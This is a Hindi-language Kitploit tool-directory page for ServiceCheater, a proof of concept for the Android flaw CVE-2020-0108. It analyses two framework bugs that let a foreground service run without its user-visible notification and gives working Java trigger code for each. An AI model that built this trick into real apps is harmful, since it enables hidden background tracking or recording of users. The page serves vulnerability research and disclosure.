Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ServiceCheater — CVE-2020-0108 का PoC | Kitploit
उपकरण/GitHubGitHub/crackercat/servicecheater
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगमोबाइल सुरक्षा
GitHubcrackercat/servicecheater

ServiceCheater

CVE-2020-0108 का PoC

रिपॉजिटरी देखें
111126 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-0108 फ्रंटग्राउंड सेवा विशेषाधिकार वृद्धि भेद्यता विश्लेषण

1. भेद्यता पृष्ठभूमि

  • AOSP के 2020-08 पैच में, फ्रेमवर्क स्तर पर AMS में एक भेद्यता का खुलासा किया गया, जिसका नंबर CVE-2020-0108 है और रेटिंग High है। AMS में फ्रंटग्राउंड सेवाओं के प्रबंधन में एक तार्किक भेद्यता है, जिसका सफलतापूर्वक दोहन करके हमलावर फ्रंटग्राउंड सेवा की सूचना प्रदर्शन को दरकिनार कर सकते हैं और बैकग्राउंड में लगातार चला सकते हैं। हमले के लिए एक स्थानीय दुर्भावनापूर्ण एप्लिकेशन की आवश्यकता होती है, और उपयोगकर्ता की सहभागिता की आवश्यकता नहीं है। यदि उपयोगकर्ता एप्लिकेशन को अन्य अनुमतियाँ प्रदान करता है, तो अधिक नुकसान हो सकता है, जैसे लगातार स्थान ट्रैकिंग या मौन रिकॉर्डिंग आदि।

2. भेद्यता विवरण

  • प्रथम-योजना सेवा (फ्रंटग्राउंड सेवा) Google द्वारा Android 8.0 में शुरू की गई एक अवधारणा है। चूंकि Android 8.0 बैकग्राउंड सेवाओं को बैकग्राउंड में शुरू करने की अनुमति नहीं देता है, इसलिए फ्रंटग्राउंड सेवा की अवधारणा बनाई गई। फ्रंटग्राउंड सेवा की प्राथमिकता अधिक होती है और यह लंबे समय तक बैकग्राउंड में चल सकती है, लेकिन शुरू होने के 5 सेकंड के भीतर इसे एक सूचना से बांधना होता है, अन्यथा इसे समाप्त कर दिया जाएगा। वास्तव में, फ्रंटग्राउंड सेवा अभी भी "बैकग्राउंड" में चलती है, लेकिन उपयोगकर्ता को दिखाई देने वाली सूचना से बंधी होने के कारण Google इसे "फ्रंटग्राउंड सेवा" कहता है।
  • इस भेद्यता के दो हमले के तरीके हैं, जो दो तार्किक दोषों के अनुरूप हैं।
  • पहला दोष NotificationManagerService के onNotificationError विधि में है, जो सूचना प्रदर्शन में अपवादों को सही ढंग से नहीं संभालता है।
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • इस स्थिति में, फ्रंटग्राउंड सेवा शुरू होने के बाद, भले ही सूचना सही ढंग से प्रदर्शित न हो, फ्रंटग्राउंड सेवा समाप्त नहीं होती है। उदाहरण के लिए, फ्रंटग्राउंड सेवा सूचना बनाते समय कस्टम लेआउट का उपयोग करती है, RemoteViews ऑब्जेक्ट बनाते समय एक अमान्य resID मान पास करती है, तो NotificationManagerService जब सूचना के लेआउट को पार्स करता है, तो विफल होकर एक अपवाद फेंकता है और onNotificationError विधि को कॉल करता है। चूंकि onNotificationError विधि में केवल cancelNotification विधि को कॉल करके सूचना रद्द की जाती है, लेकिन सेवा या संपूर्ण एप्लिकेशन को समाप्त नहीं किया जाता है, इसलिए फ्रंटग्राउंड सेवा सूचना प्रदर्शित किए बिना चलती रहती है।
  • दूसरा दोष ServiceRecord के postNotification विधि में है, जो सूचना प्रदर्शन में अपवादों को सही ढंग से नहीं संभालता है, बल्कि अपवाद को उपयोगकर्ता प्रोग्राम पर फेंक देता है।
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • इस स्थिति में, फ्रंटग्राउंड सेवा शुरू होने के बाद, यदि उपयोगकर्ता प्रोग्राम मुख्य थ्रेड के अपवाद को पकड़ लेता है, भले ही सूचना सही ढंग से प्रदर्शित न हो, फ्रंटग्राउंड सेवा समाप्त नहीं होती है। उदाहरण के लिए, फ्रंटग्राउंड सेवा सूचना बनाते समय एक अमान्य चैनल आईडी (Channel ID) पास करती है, तो ServiceRecord के postNotification विधि में सूचना भेजते समय एक अपवाद फेंका जाता है। अपवाद हैंडलिंग में, केवल AMS के crashApplication विधि को कॉल करके एप्लिकेशन पर एक मुख्य थ्रेड अपवाद फेंका जाता है, लेकिन यदि एप्लिकेशन मुख्य थ्रेड पर अपवाद को पकड़ लेता है, तो एप्लिकेशन क्रैश नहीं होता है, और फ्रंटग्राउंड सेवा सूचना प्रदर्शित किए बिना चलती रहती है।

3. भेद्यता सत्यापन

  • पहले दोष को निम्नलिखित कोड का उपयोग करके फ्रंटग्राउंड सेवा में ट्रिगर किया जा सकता है
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • RemoteViews ऑब्जेक्ट बनाते समय, हमने लेआउट आईडी (Layout ID) -1 निर्दिष्ट किया, जो स्पष्ट रूप से एक अमान्य मान है, इस प्रकार onNotificationError कॉलबैक को ट्रिगर किया जा सकता है।
  • दूसरे दोष को निम्नलिखित कोड का उपयोग करके फ्रंटग्राउंड सेवा में ट्रिगर किया जा सकता है
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • इस बार हमने सीधे NotificationChannel ऑब्जेक्ट नहीं बनाया, बल्कि एक अमान्य चैनल आईडी (Channel ID) का उपयोग करके सूचना (Notification) बनाई, जिससे postNotification विधि में अपवाद ट्रिगर होता है, और फिर हम मुख्य थ्रेड के अपवाद को पकड़ लेते हैं, जिससे एप्लिकेशन क्रैश नहीं होता।
टूल डाउनलोड करें